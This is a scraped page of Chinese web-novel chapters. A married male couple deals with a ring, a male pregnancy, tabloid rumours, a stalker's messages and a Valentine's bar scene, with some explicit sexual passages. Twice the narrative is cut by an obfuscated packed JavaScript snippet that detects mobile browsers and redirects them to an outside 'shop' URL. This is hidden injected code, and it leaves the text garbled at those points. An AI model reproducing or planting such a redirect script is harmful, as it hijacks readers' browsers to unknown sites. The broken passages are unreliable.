他只是遵循裴家的传统,给新的女主人挑了一颗鸽子蛋。 礼物送到,归属权转移。 迟铎:“……” 本来,圣诞树下、槲寄生,祝福。 浪漫让人心动不已。 结果盒子一开,粉钻一亮,所有情绪原地塌方。 迟铎的感动像被人一把掐掉。 干净利落,一滴不剩。 他盯着手上那颗粉钻,半天才找回声音:“……我刚才差点感动了。” 裴与驰:“嗯。” 迟铎:“幸好你及时出手。” 裴与驰神色泰然自若,像没听懂夸奖。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴与驰的手要是只拿来敲键盘,简直是暴殄天物。 放在别的地方,怕是能被奉为大师。 手艺仙人。 身侧的人顿住了一瞬。 裴与驰还贴在他颈侧,呼吸很重,像压着一点没处撒的火。他少见地露出一点泄气的表情,干脆把身体压下来,小心避开迟铎的腹部,把头埋进他脖子里,闷闷地说: “好烦。” 迟铎:“你说谁?” 裴与驰没抬头,声音更低了点: “还能有谁。” 停了停。 他像是真的烦,抓了下头发,话卡在喉咙里绕了一圈,才挤出来,几乎不可闻: “他真的很妨碍我……” 说完又停了一会儿,像把那点幼稚硬生生咽回去,却又咽不干净。 “发挥。” 迟铎:“……” 他明明该笑的,可笑意刚起来,心就先软了一下。 裴与驰今天确实幼稚。幼稚得不像他。 可也正是这种幼稚,让迟铎喜欢得要命。喜欢到他觉得自己整个人都还烫着,连呼吸都慢不下来。 他抬手搂住裴与驰的脖子,指尖在后颈摸了两下。那块皮肤热得很,像烙铁,却又让人舍不得放开。 嘴上还是惯例找点场子,声音却软得不讲道理:“那你还来不来?” 裴与驰在他颈侧低低笑了一声。 短促、很轻,却像又点了一把火。 迟铎被那声笑勾得心口一跳,索性把话说绝: “还来吗,老公?” 裴与驰没回答这句明晃晃的勾引。 他抬手摸到床单边缘,指尖在防水垫的边缘轻轻按了按,潮意一片。 他慢条斯理地开口:“你不是不行了吗。” “……我说的是防水垫。” 迟铎垂下眼。 “那她呢?” 裴与驰问话时,嘴唇擦过耳朵,声线很低。 问得暧昧,视线也停得恰到好处。 …….. 裴与驰挑眉,像被逗到,笑意在唇角浮了一瞬。 ……. “不行。”迟铎立刻按住他手背。 掌心贴上去的一瞬,像把裴与驰的动作也按停了。 裴与驰垂眼看他,眼里带着询问,安静等他把话说完。 迟铎一噎,嘴唇动了动,最后还是咬着字把话交出来,声音低下去:“……要看着。” 要看着你失控皱眉的样子。 很帅。 ……. 裴与驰看了他两秒,忽然笑出声来。 那笑很短,像认输,又像被他彻底拿捏。 下一秒,他还是把迟铎带了过去,动作又快又准,护得严严实实,却偏偏强势得不容人躲。 迟铎刚要回头,肩就被他轻轻掰了一下,角度刚好,视线自然落回裴与驰脸上。 裴与驰俯身贴近,呼吸擦着他耳侧过去,烫得人发麻。他低声:“不是要看着吗?给你看。” 迟铎:“……” 他想骂一句,结果开口只剩一点压不住的喘。 裴与驰眼睫垂着,眉心那道细微的皱褶一闪即逝,下一秒又被他压回去。 这点变化被迟铎捕捉得清清楚楚。 看见他失控,也看见他在克制。 裴与驰在他额角亲了一下,嗓音又哑又轻:“你今晚真的,让我眼界大开。” 他说着,顺手抬起迟铎戴戒指的那只手。 指腹在戒圈边缘轻轻摩了一下,像确认,也像占有。粉钻在昏暗里闪了一下,像把“我愿意”又轻轻提醒了一遍。 “老婆。” ………….. …………… 粉钻的棱角顺着硌过皮肉,划开一道红痕。 念头同时涌上: “答应送我,最美那朵水花,可以吗?” “将你连同人间浸没,我爱你,亦是那么多。” 两个人都在适应新身份。 适应得都挺好。 21.粉丝 昨天到最后,卧室根本睡不了人,两人转移阵地。 第二天早上。 迟铎是迷迷糊糊醒的,脑子还没开机,人先飘进浴室。水一开,热气漫上来,他低头抹了把脸。 指尖一空。 无名指上那点夸张的重量没了。 迟铎:“……?” 他盯着自己的手看了两秒,确认昨晚那颗闪得晃眼的大鸡蛋,没了。 迟铎彻底清醒。 第一反应:完了。 第二反应:不可能。 第三反应:什么时候? 他视线飞快扫过洗手台、地面、毛巾架,一无所获。 迟铎的目光一点点移向下水口。 脑子里立刻开始自导自演:戒指滑落,被水一冲,“咕咚”一声。 戒指与下水道,你是风儿我是沙,缠缠绵绵到天涯。 迟铎心一凉,呼吸都卡了一下。下一秒他又强行把自己拉回来: ……不至于。 这么大一颗,怎么可能说没就没。买这么大的唯一好处,就是它掉不进下水道。 可他真的一点印象也没。 迟铎越想越心虚,干脆关了水,蹲下去盯着下水口看。看得像要跟它谈判,能不能把戒指吐出来。 浴室门被推开。 裴与驰站在门口,穿得很休闲,单手插兜。他看了迟铎一眼,没多问,只开口: “找什么。” 迟铎抬头,脸色很差:“戒指不见了。” 裴与驰停了半秒,语气很冷静:“在床头。” 迟铎:“……?” 裴与驰走近,视线落在他空着的那根手指上,语气淡淡的: “昨晚硌得我背疼。” “你睡着了,我给你摘了。” 迟铎:“…………” 他脑子空白了两秒。某些画面却偏偏在这时候清晰得要命。 好几个瞬间,他抓着不放,指节发白;裴与驰背脊绷紧,低低吸气。 迟铎耳尖“轰”一下热起来,尴尬得想钻进下水道。他硬撑着把脸别开,冷冷丢出一句: “怪谁?” 裴与驰看了他一眼,神色一本正经,洗耳恭听:“怪谁?” 迟铎:“……” 他咬牙,索性把锅甩到底:“谁买这么大凶器回来。” 裴与驰没反驳,只慢条斯理地下结论:“不妨碍你用得很熟练。” 迟铎:“…………” 他面无表情。 行。 昨天那点浪漫如昙花一现,哥们现在回归正常发挥。 迟铎起身就走,无视旁边的男人,直接回到卧室。 床头柜上,戒指盒端端正正摆着。迟铎把盒盖掀开一条缝,粉钻在晨光里闪了一下,依旧晃眼睛,依旧丑得很嚣张。 他面无表情把盒盖扣得严严实实,扔进保险柜里。 凶器入库。 吵架备用。 这边新婚燕尔,蜜里调油,鸡飞狗跳。 日子一晃,那边,长期停工的风声还是慢慢漏了出去,先漏到圈内,再漏到合作方耳朵里。 停工停了一阵子,工作室微博却一直秘不发丧。 王平柔的手机一天能热到烫手。 合作方打来问迟铎近况,话术礼貌又客气: “关心一下我们亲亲代言人身体。” “调整期大概需要多久?” “方便的话给个方向,我们好内部排期。” 王平柔师从张三丰,太极打得四平八稳。她把每句话都在舌尖捋一遍,回得滴水不漏,既不敷衍,也不显心虚: “他状态挺好。” “该完成的会完成,有变动会提前沟通。” “谢谢理解。” 一套阴阳组合拳下来,对面也摸不清迟铎未来的安排,只能先观望。 挂断电话,王平柔盯着屏幕两秒,差点就想撂担子。 下一秒又想起宝爸那笔高额奖金。 ……算了。 拿人钱财,替人消灾。 毕竟她才预约了新一代的超声刀和热玛吉,热超联合,做美丽女人。 合作方暂时被稳住,但不妨碍7788组先嗅到味儿。 【讨论贴】玉米棒疑似跑路? 主楼说得含糊:“有点渠道,最近被暗示过他要休很久。具体多久不说,但听着像一年起。” “一年起”这三个字一出来,楼跟炸油锅一样。 【1L】一年?这不是休息,这是直接退圈吧。娱乐圈还能gap?以为还在大英读大学? 【2L】我刷到行程全空+工作室装死,还以为是拖欠工资工作人员摆烂。结果是出事? 【3L】一年这么精准,避风头呗。违约/出轨/德州/交通事故/陪产,自己选。 【4L】楼上别这么恨,万一就是身体扛不住呢?许愿反弹到你蒸煮哈。 【5L】多粉别太夸张,u1s1,他曝光度也就那样吧,行程能有多满?一年一戏一影都够呛。 【6L】行程不满也能停工啊,搞出人命要陪产懂不懂。综艺片场天天躲保姆车里陪怀孕的嫂子呢。 【7L】……你这话也太具体了吧?你是阿杜吗?天天在人家车底? 【8L】lss讲得也不是没可能。我听代拍说,综艺后期他确实排场很大,车换了,身边跟人,不太好接近。 【9L】这不就是傍上富婆不想努力了?不然干嘛突然这么金贵。 【10L】xswl,迟铎需要傍富婆?换车躲你们这群私生和代拍看不懂吗? 【11L】他爷爷都退多久了?他爸也没看出来事业如日中天的样子。真有背景还出来当戏子? 【12L】那之前那些资源咖黑通稿说他欺负小糊豆、抢戏份怎么回事?现在又开始他家人走茶凉、无背景无资源了? 【13L】他家地位永远是薛定谔的弹簧,该长的时候长,该短的时候短。主要看黑他的角度。 【14L】一年?男的也不是不能生……(认真) 【15L】楼上你是把生物书当餐巾纸擦嘴了吗? 【16L】14L建议截图留存。以后有些腐尸再来贴脸,直接甩这张图证明小脑发育情况。 …… 楼从停工歪到退圈,又歪到翻车、富婆、陪产,最后歪进猎奇小说。 每个人都想给迟铎的人生写两行批注,上赶着当脂砚斋,恨不得把他后半辈子也替他补完,还必须按他们的版本来。 瓜很快出组,传播速度飞升,而工作室微博依旧安静。 不回应,就是给所有猜测开绿灯。 粉圈先动起来。数据组发了群公告,先暂时全部禁言: 禁止发表任何“嫂子/怀孕/富婆/赘婿”相关内容,违者踢。 工作室未给口径,先按最坏情况走:控评、反黑、举报。 统一模板:健康第一 / 尊重决定 / 拒绝造谣。 大家一边复制粘贴,一边在心里问:他是不是不要我们了? 对家那边倒是开心得很。真空期就是流言最肥的温床。趁工作室没发声,路人小号吃瓜安排上;黑热搜标题拟好,按点冲榜。 第二天中午,文娱热搜榜,迟铎直接包场。 #迟铎耍大牌# #迟铎停工一年# #迟铎工作室装死# #迟铎退圈# #富婆迟铎陪产# #迟铎失德艺人# 词条里全是“知情爆料”,口吻整齐得像流水线,一眼AI生成,还挑了个最省token的。 【爆料】拍完直奔保姆车,与同事零交流,疑似嫂子怀孕情绪不稳,男方全程哄。 【爆料】停工一年不是休养,是避风头。 【爆料】品牌方已开始内部评估,或将切割。 旧路透被翻出来,旧得发黄,也能剪成新瓜。 代拍贴脸挨了反击,被写成耍大牌;不回应那些无中生有的黑料,被写成“心虚”;紧跟着停工的消息一出,又顺手被写成退圈。 你只要沉默,就会有人替你配音,还嫌你不够配合。 尽管没有任何证据,本人也没发声,但事情发酵到这个地步,品牌和合作方已经不得不提前启动预警公关。 客服回复统一:“正在了解。” 官微全部一键防护,评论区干净得只剩一句:该内容因违规已被隐 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工作室依旧沉默。沉默像一块冰,把情绪压得更尖,尖到开始反噬到工作人员。 王平柔评论区沦陷,人身攻击与黄谣齐飞。 李浩更惨,“fw”帽子扣得严严实实,染黄毛也成了工作不利的证据。 迟铎也收到了私生短信。 他点开那一瞬间,先看到的不是内容,是开头那句:“我蹲了你家半个月。” 他盯着那句话,胃里一阵泛恶心。 清水崇应该把《伽椰子归来》安排在他家拍。迟铎想。 后面的内容像一整套剧本,连结局都替他写好了: “车换了,司机也换了,你也不回原来的家。” “你不住那了。” “她怀了吧?” “富婆怀了你的孩子,所以你才停工一年。” “你当赘婿当得开心吗?” “嫂子情绪稳定吗?怀孕的人脾气都大。” “你记得多顺着她一点。” “不然你得搞百年计划才能三代还宗哦。” 迟铎看完,只想问一句:你谁? 他指尖一动,拉黑,删除。动作快得像清垃圾邮件。 一天后,工作室终于发声,没有安抚,不带温度。 【迟铎工作室】 经与艺人本人沟通确认,迟铎将于完成现有工作后进入至少一年的停工调整期。 感谢理解。 “至少一年”四个字像油泼进火里。 粉圈彻底炸锅。推演、阴谋论、回踩、哭嚎全齐了,所有人都觉得自己离真相只差一句:你出来解释。 对家疯狂庆祝。截图、带节奏、搬运一条龙,恨不得把每个词条都擦亮点,生怕路人看不清。 竞品的经纪人也很快行动起来,挨个去敲迟铎那些还没到期的合作方,自报家门,递意向,留联系方式。 不急着成交,先把人名塞进对方备忘录里。等对方启动紧急预案时,能第一时间想起备用选项。 热搜越烧越高,然后像被人从上面直接掐断。 最毒的爆料先是“找不到了”。点进去:该内容因违反相关规定已无法查看。 再点另一个:该用户不存在。 没有长篇大论的澄清,也没有道歉。只有权限被终止。 热词一排排变灰,搜索自动截断。词条还挂着,但热度像被拧断:看得见火,摸不到温度。 营销号集体删帖、道歉、装死。删得干干净净,连“编辑记录”都不肯给人留一眼。 品牌方也很快跟上节奏:客服口径从“正在了解”切回“合作正常推进”,官微撤了一键防护,活动页重新上线。 广场仍然吵,但像隔着玻璃,嗡嗡的,不再刺耳。 吵的人终于发现,自己吵不出回声了。 所有人都在等迟铎发声。 他也不负众望,只发了三行: 【迟铎】 停工。 别骚扰工作人员。 骂我随便。 发完就下线。 22.分岔口 发完他就下了线。 即便如此,提示音还是叮叮当当地响,像铁珠子倒进金属盆,敲得太阳穴发麻。 迟铎把手机往旁边一扔,整个人往沙发后一靠,像终于卸了点力气。 裴与驰从书房出来,先把迟铎杯子里的冷水倒掉,又去厨房重新倒了杯温的,递回来。 迟铎接过,喝了一口,水温刚好。 他把杯子放回去,语气淡淡的:“我真不在乎。” 裴与驰“嗯”了一声,坐到他身边,没抱他,也没贴太近,只是把手伸过来,掌心向上,意思很明显。 迟铎瞥了眼,没按他说的把手放上去。 他直接伸手,把裴与驰那只摊开的掌心往里一推,硬是攥成了拳头。 裴与驰眉梢极轻地挑了一下,没反抗,顺着他的力道握好。 两个人很幼稚地回到青少年状态:握拳轻碰两下,翻转碰拳背,再飞快把食指和中指交叉,做个祈祷好运的手势。 迟铎拖着懒调子念那句旧台词:“Alright, mate?” 他把交叉的手指举到头顶晃了晃,终于绷不住笑,往沙发上一倒,人顺势歪进裴与驰怀里。 裴与驰低低笑出声,把他往自己这边带了带,手臂一收,抱得很稳,像给他一个着陆点。 “热搜是你压的吧?”迟铎懒懒问,“看你今天在书房待了半天。” 明明你现在开会都挪客厅来,让我陪着听。 这句话迟铎没说出口。 “嗯。”裴与驰承认得干脆。 迟铎挑眉:“你不怕我说你多事?” 裴与驰看着他,没说话。指腹在他背上轻轻点了一下,把“多事”两个字按回去。 迟铎鼻音哼了声,没躲,反而把重量更不讲理地压过去一点。 沙发缝里传来一声闷闷的震动。 迟铎伸手摸到手机,屏幕一亮,李浩的微信刷了十几条,还夹着两条语音。 他盯了两秒,耳边却先响起下午那通电话里李浩快要碎掉的语气。 迟铎没回,直接点开银行APP,转账飞快,金额像一早就敲定。 转账成功。 李浩秒回。 【李浩】哥?????? 【李浩】你给我打错了吧?????? 【李浩】这也太多了我不敢收啊哥!!!! 迟铎: 【迟铎】没打错,一年工资。 【迟铎】你闭嘴。 【迟铎】这一年你当休假。别辞职。 李浩: 【李浩】哥我不辞我不辞我不辞 【李浩】但是我现在被骂得像全网通缉 【李浩】我还能活到你复工吗哥 迟铎看着那几行字,嘴角动了动,笑意很浅。 【迟铎】能。 给了确定答复,他把手机扣回去,像终于把该做的事做完了。 裴与驰在旁边冷静补充:“记得让他签NDA。” 迟铎翻了个白眼:“他又不知道具体情况。” 裴与驰语气平静:“那也要签。” 迟铎:“……” 裴与驰每次都能把“不希望你有任何闪失”说得这么强势,害他连感动都感动不起来。 但他也没再反驳。 过了一会儿,迟铎忽然低声说:“他们会恨死我。” 裴与驰:“嗯。” 空气像被钉住,安静得发闷。 迟铎把背又陷进沙发靠垫,腿随意搭在茶几边,姿势懒散得没骨头,可手指却在裴与驰掌心里不自觉抠了一下,指甲刮过皮肤,带出一点细微的痒。 他没抬头,声音低低的,像自言自语,也像说给旁边人听。 “恨我很正常。换我是我粉丝,我也恨。” “懒得营业,骂粉,停工不给理由。” 裴与驰没接话,只是拇指在他手背上慢慢蹭了一下,力道很轻,像顺毛。 迟铎停了停,把心口那点不耐烦吞回去,才继续。 “我其实不太会处理粉丝那套。” “有些人追我,只想让我陪她演一部琼瑶剧。” “她当女主,我当男主,台词都替我写好了,还要我严格按她的要求爱。” 他说到这儿顿了下,嗓音更低:“我做不到。” “我也不想做到。” “但有几个影迷不一样。” “他们不想挤进我的私生活,也不替我安排人生。他们就讨论戏,讨论我演得烂不烂,好不好,哪里还可以进步。那种话……我能听进去。” 他像嫌自己说太多,干脆用一句自嘲收尾。 “我不是科班出身。有时候真接不住戏。只能靠蒙,靠感觉,靠不要脸硬顶。” “现在停一年……他们大概会觉得自己眼瞎。” 裴与驰终于开口,像才想起一件早就办好的事:“表演和台词的老师,我已经请回来了。” 迟铎猛地转头:“……?” “你以前提过。”裴与驰说,“你说他很严厉,但会把你骂明白。” 迟铎怔住。 他确实提过,只是太久了,久到他自己都快当成随口一句。 那会儿他刚被一张模特照莫名其妙推入圈。公司让他唱歌,他就唱;让他上综艺,他就上。人往前走得很快,他却像一直没站稳,脚底踩着空,连方向都不知道是哪边。 他不知道自己喜欢什么,也不知道自己到底能做什么。 直到某个青年导演找上门,让他演一个小人物,女主的弟弟。十几分钟的戏份,小众文艺片,首映还在郊区。王平柔劝他别去,说没必要,露面也不讨好。 他还是去了。那是他出演的第一部电影。 更荒唐的是,裴与驰也去了。 裴与驰刚下国际航班,连时差都没倒完,电影放了一半才赶到。坐下时刚好,没错过迟铎那几场戏。 散场后,迟铎一边走一边向兄弟倒着苦水,说自己怎么被表演老师骂得狗血淋头,怎么在片场被按着反复重来。嘴上吐槽得凶,眼睛却亮。他说“拍戏”两个字的时候,眼里第一次,有了点真心。 他讲到最后,顺口丢下一句:那个老师很严厉,但能把人骂明白。 裴与驰当时只简单“嗯”了一声。 迟铎没多想。 那天裴与驰看起来太累了,时差完全来不及倒,全靠“友情”两字硬撑着。 迟铎看着就心口一紧,先前的闲聊全抛到脑后,嘴上只剩一句不许他再这样。 可现在,裴与驰就坐在这里,用同样平静的语气,把他随口掉下来的话原封不动还给他。 迟铎扭过头,“啧”了一声,像嫌他多事。 裴与驰看了他一眼,没拆穿,只把人往怀里又带稳了半寸,才开口。 “你现在要静养,先把台词和节奏捡起来。” “线上上课,不见面。镜头开到锁骨就够,身体不舒服就关视频,只开麦。” 他停了下,又补一句:“他只会知道你在休养。” 话说得利落,偏偏这次裴与驰没及时出手,迟铎连把感动收回去的机会都没有,避无可避。 迟铎嘴硬的话卡在舌尖上,最后只能拿头轻轻撞了下裴与驰的肩膀,然后整个人埋进他怀里,闷闷自嘲一句:“我算影迷的时候,是不是忘记把你算进去了。” 裴与驰承认:“嗯,我是事业粉。” “所以你要努力。” 迟铎:“……” 更不想从怀里出来了。 他真的很嫌弃自己,这么黏,这么没出息,像王平柔挂在嘴边的小脚裤,离了裴与驰就不会走路。 可他又控制不住。 他一直以为自己以前说的那些“想拍戏”“想演电影”的话,不过是情绪上头时掉下来的碎片。别人听听就过了,最多当他一时兴起。 可偏偏有人全记得,还不声不响地把他前进的方向摆正。 更要命的是,那个人还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943333|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是裴与驰。 怀抱很暖,迟铎却忽然想起前几天的一幕。 那天裴与驰开远程会,间隙顺手清邮箱。迟铎半梦半醒窝在沙发里,眼皮没抬,视线却把屏幕扫得很清楚:一封纽约宴会的邀请邮件,落款是个他都听过的企业家名字。 前阵子裴与驰筹备纽约办公室开业,这类邀请来得很勤。 裴与驰不爱热闹,但那种场合他几乎都会去。露个面,点个头,认识该认识的人,为自己的野心铺路。 所以当裴与驰按下“Decline”的时候,迟铎心口像被轻轻敲了一下。 没有备注,没有解释,连日历里标好的时间也被他顺手删掉。 迟铎当时没出声。他装睡,装得像真的,装到自己都差点信了:这不是为他。 可现在窝在怀里,温度太实在,那点记忆反而更清晰。 他抬了抬眼,像随口找话题:“你把纽约那个宴会拒了。” 裴与驰“嗯”了一声,算承认。 迟铎停了两秒,很认真:“这样下去,我们真的要担心奶粉钱了。” 说完他又觉得,眼前这位无能的丈夫还没意识到事情的重要性。 他干脆从怀里撑起来,抬眼盯着裴与驰,语气很凶:“你别觉得你欠我,所以要补偿我。” “我现在这样,是因为我想。” 说“想”的时候,他又不讲理地倒回去,双手绕上裴与驰的脖子,把人抱住,抱得很紧。 “我决定把他留下来,是因为我喜欢你。” “我停工,除了养身体,也是因为我想在这个时候跟你待在一起。” 他喘了口气,不让自己说得太煽情:“我自己喜欢。懂吗?” “所以你要好好赚奶粉钱,知道吗?” 裴与驰看着他,没立刻说话。 他直接把这只赖着不肯动的树懒抱到腿上,手臂一收,稳稳当当。 “我没有停下。”裴与驰开口,声音比平日温柔一点,像在哄人别胡思乱想。 迟铎皱眉,刚想反驳:“你……” 裴与驰打断得很轻,却很笃定:“只是换了顺序。” “纽约办公室会开。” “该见的人我会见。” “只是不是现在。” 他停了下,把话落在迟铎最在意的那一点上。 “你不喜欢我对你感到亏欠。” “我也不喜欢你把自己当成拖累。” 迟铎噎住,想反驳,却发现自己反驳不了。 裴与驰看着他,直接给结论:“我选你。” 迟铎:“……” 裴与驰像嫌他还不够懂,索性把话说得更明白。 “不管什么时候,都选你。” 迟铎被这句话压得心口发酸,嘴上还要赢:“行。那你记得赚钱。” 裴与驰低低应了一声,像把这句也当成承诺:“好。” 手机又亮了一下,是医院的预约短信。 【明日预约确认】 明德国际医院产科 08:30|NT检查抽血 孕周:12w+0 备注:满12周节点复诊 请空腹 迟铎盯着“12w+0”,指尖顿了下。 审判日到了。 裴与驰抬手点了确认。 迟铎嘴硬:“你手这么快干嘛?” 他把手机扣回去,情绪有点不稳,先把话撂出去:“明天你不许医闹。” 裴与驰把手伸过来,掌心向上:“握一下。” 迟铎瞥了他一眼,最后还是把手塞过去。 掌心被扣住的那一瞬间,他心跳很吵。 比热搜还吵。 迟铎忽然明白了。 不止他是这样。裴与驰也是。 每一个分岔口,他们都在选彼此。 不是因为愧疚,不是因为亏欠。 是他们自己喜欢。 想待在对方身边,陪着就行。 23.情人节(元旦番外)[番外] Rosewood,Manor Club Manor Club的吧台一向很忙,但今晚有点不一样。 酒保一边擦杯子,一边看时间,一边内心叹气。 现实里他满脸微笑。 惹怒了这里的客人,他找不到加班费这么高的工作。 情人节。 他在这儿,女朋友在家里等他,人生就是这样。 他一边在心里痛哭流涕感恩自己居然能谈到这样一个神仙女朋友,一边又想趁没人开小差摸下手机,确认跑腿有没有把鲜花和礼物及时送到。 手刚摸到裤兜,门口感应灯亮了一下。 一个男人走进来。 很年轻的高个帅哥,一身高级西装。 Manor 这边常见的金融男配置,只不过这位帅得太突出,又格外年轻。 酒保心情莫名好了一点。 资本面前人人平等,高级打工人帅哥也得加班。 但转念一想,人家陪不了女朋友能送爱马仕的包,送一打;他陪不了只能送爱马仕的香水,送一支,今年升级到套盒。 还是因为情人节的三倍加班费。 ……人生差距有时候体现在具体物件上。 男人在吧台前坐下。 “威士忌。” “杯单?” “嗯。” 酒推过去,男人没喝,只把杯子放在手边,顺手剪了一支雪茄,点了也没抽。 等人。 酒保点头。 典型。 这种人不会错过任何一个时间赚钱,即使是情人节。 酒保正准备继续擦杯子,然后趁不注意再看下礼物送到没有,门口又亮了一下。 第二个人进来。 穿着与第一个男人一样,同样很精致,但方向完全不同。 第一个是精英金融男的讲究,第二个是今晚应该开着迈凯轮带美女炸街的炫酷。 很可惜,不是这位要等的人。 那人环顾一圈,像是在挑座位,又像根本不在意,最后在一排空位里,直接坐到了金融男旁边。 酒保:“……” 行吧,拼桌。 他给第二个人下了定义:典型富二代,读不懂空气那一挂。 不过现在男的都这么卷了吗? 两个南辕北辙的配置,怎么都能凑出同一个结论:超级大帅哥。 酒保低头看了眼自己反光的吧台面。 没钱、不帅、还得值班,加班费大概还不到第一位的时薪。 自己女朋友不是神仙。 是圣人。 他开始认真思考: 要不今晚下班回去就把香水套盒再加一套? 虽然也就是从送一套升级成送两套,但勉强算个团队作战。 “龙舌兰。”富二代开口。 酒保倒酒。 那人喝了一口,侧过身,语气轻松得像是随口聊天:“这位先生,借个火?” 金融男转头,把打火机递过去。 火点着了,烟雾散开,打火机却没立刻还。 那人低头转着打火机,慢悠悠地说:“谢谢。” 然后像是忽然想起什么:“情人节还出来喝酒,不陪人吗?” 酒保心想: 跟你们这种一出生就不需要考虑生活的人拼了。 他在这一刻,和那位高级打工人金融男产生了共鸣。 至少人家靠自己挣钱。 “在等人。”金融男说。 “哦。”那人点点头,“那我是不是坐错地方了?” 他说这话的时候,人没动,反而把椅子往旁边挪了挪,更近了。 酒保眉毛微微抽了一下,为有正事要办的金融男点蜡。 “不过情人节等人,有点亏吧。” 富二代继续开口,他的世界里完全没有唐突二字。 “工作需要。” “那真巧,我也是。” 酒保停了一秒。 ……你也是? 难道人不可貌相?下一秒金融男就帮酒保问了。 “你也是来谈生意的?”金融男问。 “算是吧。”那人想了想,“但我一般不在情人节谈。” “为什么?” “容易分心。” 酒保:“……” 这生意是皮肉生意吧?钓美女的。 金融男没说话,只看了他一眼。 那人像是被鼓励了,更来劲:“比如现在。” 还特意上下打量了一遍金融男。 酒保手里的杯子差点滑出去。 ……原来是钓男人。 哥们这不对吧? 男通讯录是这样的吗? 这不是一眼直男吗??? 酒保脑子里一串问号还没打完,就看见那位金融男竟然也没躲。 没装聋作哑。 没端起“我很忙,快滚”的架子。 甚至连那种“兄弟你礼貌点”的表情都没有。 酒保一愣。 他来这工作不到一年,但这种地方每天都在上演各种戏码。 按他的职业经验,直男被同性这样盯着看,通常只有两个反应:要么皱眉,一脸被冒犯;要么直接叫保安,效率很高。 结果金融男就这么面无表情地任由打量。 不仅没走,看起来心情还挺不错。 他甚至抽了一口那支从点燃开始就没怎么碰过、纯靠自己烧钱的雪茄。 动作不紧不慢,像是在确认一件不急的事,烟雾被他含了一瞬,又很干净地吐出来。 酒保不得不承认,那一下挺帅。 然后,他抬了抬手,把那杯一直没动的威士忌往里推了一点。 动作不大,意思却非常明确。 留位置。 酒保:“……” 不是。 这发展犹如脱缰的野马。 自己是不是眼花了? 还是 Rosewood 的灯光太会骗人? 酒保盯着那两个人之间空出来的那点距离, 脑子里只剩下一个念头, 真假? 两男通讯录? 活的? 富二代显然也没想到鱼直接顺着咬钩。他眨了下眼,嘴角那点笑意反而更明显了。 “你不喝啊?”他故意问。 “等人。”金融男还是那句。 “哦——” 富二代拖长了音,像是听到了什么很有趣的借口,“等谁?” 金融男没答。 酒保其实这会儿也有点好奇了。 真的是客户吗? 还是……这位金融男情人节的时间配置比较复杂? 富二代明显更兴奋了:“那我现在算什么?插队?” 金融男还是那副冷静样子:“随你。” 酒保:“……” 默认或者允许选一个。 酒保在心里替金融男翻译完,下了个结论: 好的,男通讯录二号,板上钉钉。 富二代显然也是鱼塘主,秒懂。 他笑得更放肆了点:“那我可不客气了。” 说着把打火机在指尖转了个圈,还是没还,明显想要更近一步。 “情人节还约客户来谈生意?”他问,“活该你有钱。” 酒保:“……” 你这句,倒是说到我心坎里了。 金融男淡淡“嗯”了一声,算是回应。 富二代立刻抓住:“你承认你有钱?” 金融男终于把视线落在他脸上:“你很缺钱吗?” 富二代笑得更开心了:“我缺啊。” 酒保:话题找上了,推拉上了。 富二代顿了顿,像是认真思考措辞。 “我缺你这种——” 话没说完。 他的目光已经在金融男身上慢慢扫了一圈,非常有耐心,非常不客气,最后停在金融男左手的无名指上。 “已婚的有钱男人。” 酒保下意识也看了过去。 好家伙。 戒指在。 原来是英年早婚。 家里有老婆,外面还出来乱搞? 还和男人调情? 懂了,骗婚gay。 富二代继续问:“情人节不陪老婆,他不会不开心吗?” 金融男没回答这句,而是说:“他话比较多。” 酒保心里“哦”了一声。 懂了。 嫌老婆吵,找借口出来躲清静,顺便钓鱼。 又一个鱼塘主,板上钉钉。 下一步流程酒保已经能背了:富二代接话 、两人心照不宣 、情人节 KPI 达成。 希望记得做好安全措施,别传播疾病。 酒保想到这,没忍住皱了皱眉。 结果, 富二代没顺杆爬。 他像是被什么东西迎面噎了一下,表情空白了两秒,随后迅速转向不可置信,甚至还有点生气。 “你嫌我烦?”他脱口而出。 酒保:“?” ……不是。 炮都还没打上,你怎么先代入了??? 金融男语气平静:“我说我老婆。” 停了停,又补一句:“我没嫌。” 富二代当场卡住。 “哦。” 他立刻改口:“那是我误会了。” 想了想,还很真诚地补了一句:“我就说,他听起来就挺好相处。” 酒保:“……” 酒保:??? 你怎么零秒起帧开始夸人家老婆??? 金融男低声笑了一下,像是没忍住。 酒保:……这位也挺离谱。 老婆被自己的鱼夸还笑。 他是不是没意识到问题?还是意识到了但不在乎? 万一这富二代是双呢? 钓完老公钓老婆? 这家庭伦理的复杂程度,超纲了。 还没等酒保把这超纲消化完,就听见金融男开口: “你见过?” “没。” “那你怎么知道?” “直觉。” 金融男听完没说话,只是又抽了一口雪茄,终于喝了一口那杯一直没动的酒。 酒保:“……” 这是在干什么? 前一秒还在暧昧拉扯,这一秒突然又变成了不太熟的直男硬找话题。 那种会在第一次见面时聊女朋友、老婆的直男。 比如他自己。 不会吧? 难道从头到尾,都是他想多了? 他已经开始在心里给自己写检讨了。 贴标签太快。 用词太狠。 骗婚gay和滥交gay实在难听。 就在酒保准备在心里郑重道歉、并决定以后少管闲事的时候,富二代清了清嗓子。 “约吗?” 十分唐突,十分突如其来的一记直球。 酒保:“……” 好。 撤回。 死通讯录。 他已经不想再分析这句话里到底包含多少道德问题和健康风险了。 他只想把这杯酒摇完,把账单打完,把今晚平安送走, 然后回家抱着亲亲小女朋友,一边被安慰受伤的心灵,一边把这瓜完整复述一遍。 反正她的吐槽,肯定比他狠。 金融男没有立刻回答。 他只是低头看了一眼腕表。 酒保心里一动。 来了? 成年人的理智终于要上线了吗? 金融男不负所望。 “我得走了。” 酒保长舒一口气。 对,对,就是这样。 今晚不算太糟。 